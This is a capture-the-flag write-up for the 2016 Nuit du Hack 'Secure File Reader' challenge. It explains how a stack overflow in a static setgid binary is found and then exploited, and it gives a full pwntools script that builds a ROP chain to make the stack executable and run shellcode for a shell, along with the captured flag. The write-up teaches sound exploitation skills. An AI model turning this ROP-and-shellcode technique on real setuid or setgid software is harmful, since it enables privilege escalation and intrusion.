##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Secure File Reader

[Nuit du Hack Qualifiers, 2016]

category: pwn

by f0rki

  • Category: Exploit Me
  • Points: 200
  • Description:

Hi, I have secured my file reader so that you won't be able to pwn it. You know, I have pretty good skills in security.

Don't even try to beat me!

The challenge is available at securefilereader.quals.nuitduhack.com:55552 (chall:chall)

Write-up

We have ssh access and in the home folder is a setgid binary pwn and a flag file, with the same group owner as pwn. Obviously the goal is to read the flag file, by exploiting pwn.

So let's download pwn and develop the exploit locally first. Fire up radare first to check what the binary is doing.

[0x08048f4f]> iI
pic      false
canary   false
nx       true
[...]
arch     x86
bits     32
[...]
stripped false
static   true
[...]

So the only protection mechanism enabled is NX and the binary is statically linked. Keep that in mind.

The binary isn't big (ignoring the statically linked libc). It reads a file and stores it in a buffer on the stack and exits Unfortunately it calls the function sym.check_size first, which calls stat and checks if the filesize is smaller than 0xfff. Let's see if we can trick this function. My first guess was to use mkfifo. Getting the size of pipes doesn't make sense so it will probably be 0.

$ mkfifo fifo; strace ./pwn ./fifo & python -c 'print("A"*0x1200)' > ./fifo; rm ./fifo
[1] 5437
execve("./pwn", ["./pwn", "./fifo"], [/* 35 vars */]) = 0
strace: [ Process PID=5440 runs in 32 bit mode. ]
uname({sysname="Linux", nodename="pwn", ...}) = 0
brk(NULL)                               = 0x9f14000
brk(0x9f14d40)                          = 0x9f14d40
set_thread_area({entry_number:-1, base_addr:0x9f14840, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:12)
readlink("/proc/self/exe", "/ctf/ndhquals2016/secure_file_re"..., 4096) = 44
brk(0x9f35d40)                          = 0x9f35d40
brk(0x9f36000)                          = 0x9f36000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
stat64("./fifo", {st_mode=S_IFIFO|0644, st_size=0, ...}) = 0
open("./fifo", O_RDONLY)                = 3
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 256) = 256
read(3, "\n", 256)                      = 1
read(3, "", 256)                        = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xf7758000
write(1, "The file has been saved successf"..., 37%                                                                                                                           The file has been saved successfully
) = 37
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
+++ killed by SIGSEGV (core dumped) +++
[1]  + 5437 segmentation fault (core dumped)  strace ./pwn ./fifo

yes :) We are dealing with a classic stack based buffer overflow. Now let's find the offset of the return address. I launched the program in the debugger and used the cyclic tool of binjitsu to generate a pattern, which we can look up later to determine the offset to the return address.

gdb-peda$ ! rm ./fifo; mkfifo ./fifo
gdb-peda$ r ./fifo
Starting program: ./pwn ./fifo
The file has been saved successfully

Program received signal SIGSEGV, Segmentation fault.

[...]
gdb-peda$ print $eip
$3 = (void (*)()) 0x61687062

and in another terminal

$ cyclic -c i386 4600 > ./fifo
$ cyclic -c i386 -l 0x61687062
4124

Now let's create a working exploit. Let's see if the binary contains something interesting we can jump to:

[0x08048d2a]> afl~system
[0x08048d2a]> afl~exec
0x0809e580  88    6     sym._dl_make_stack_executable
0x080bc800  315   18    sym.execute_cfa_program
0x080bd940  100   3     sym.execute_stack_op

OK so apparently because the program doesn't use any of the system or exec functions, the linker threw them away. No luck there. But this _dl_make_stack_executable functions seems useful. A quick search revealed the following blog post on the radare blog: Defeating baby_rop with radare2

The setting is basically the same. Statically linked binary with no interesting functions in the binary. We could ROP our way to the execve syscall manually, but that seems tedious. I adapted the exploit from the blog post.

  1. call _dl_make_stack_executable
  2. jump to payload with call esp gadget.
  3. get shell

Here is the final exploit

#!/usr/bin/env python
from pwn import *  # NOQA
import subprocess
context.log_level = 'debug'
context.arch = 'i386'
vbin = "./pwn"
s = None
def connect():
    global s
    s = ssh(host="securefilereader.quals.nuitduhack.com",
            user="chall",
            password="chall",
            port=55552)
if not os.path.exists(vbin):
    if not s:
        connect()
    s.download_file("~/pwn")
    subprocess.check_call(["chmod", "+x", "./pwn"])
velf = ELF("./pwn")
# > afl~exec
# 0x0809e580  88    6     sym._dl_make_stack_executable
#
# can we use this to bypass NX?
# http://radare.today/posts/defeating-baby_rop-with-radare2/
#
# The payload is gonna look like this:
# [ padding ][ ROP chain ][ shellcode ]
padsize = 4124
pad = "A" * padsize
r = ROP(velf)
r.raw(0x0807270a)  # pop edx ; ret
r.raw(0x080edfec)  # obj.__stack_prot
r.raw(0x080beb26)  # pop eax; ret
r.raw(0xffffffff)  # -1
for i in range(8):
    r.raw(0x0807f15f)  # inc eax ; ret
r.raw(0x0809dead)  # mov dword ptr [edx], eax ; ret
r.raw(0x080beb26)  # pop eax; ret
r.raw(0x080edfc4)  # obj.__libc_stack_end
r.call('_dl_make_stack_executable')
r.raw(0x0808d330)  # call esp
# r.call('exit', [42])
log.info("Using rop chain:\n" + r.dump()
         + "\n")  # + hexdump(str(r)))
sc = shellcraft.i386.linux.sh()
log.info("using shellode:\n" + sc)
sc = asm(sc)
log.info("assembled length: {}".format(len(sc)))
payload = str(r) + sc + "\x90" * 4
log.info(hexdump(payload))
payload = pad + payload
if "\x00" in payload:
    log.warn("NULL byte in payload!")
log.info("saving payload")
with open("./payload", "w") as f:
    f.write(payload)
# :)
subprocess.check_call(["mkfifo", "./fifo"])
vp = process(["./pwn", "./fifo"])
# break *0x8048f4e
# gdb.attach(vp)
with open("./fifo", "w") as f:
    f.write(payload)
vp.interactive()
log.info("removing fifo ")
subprocess.check_call(["rm", "./fifo"])

Using this we get a shell. On the challenge ssh server:

chall@e39e5ded74c2:/tmp/tmp.dzF4rbAhky$ ls
fifo  payload
chall@e39e5ded74c2:/tmp/tmp.dzF4rbAhky$ ~/pwn ./fifo &
[1] 11429
chall@e39e5ded74c2:/tmp/tmp.dzF4rbAhky$ cat payload > fifo
The file has been saved successfully
chall@e39e5ded74c2:/tmp/tmp.dzF4rbAhky$ fg
~/pwn ./fifo
$ ls
fifo  payload
$ cd /home/chall
$ ls
flag  pwn
$ cat flag
rUN!RuN$RUn!Y0U$W1N_TH3_R4c3
/writeups/ $

$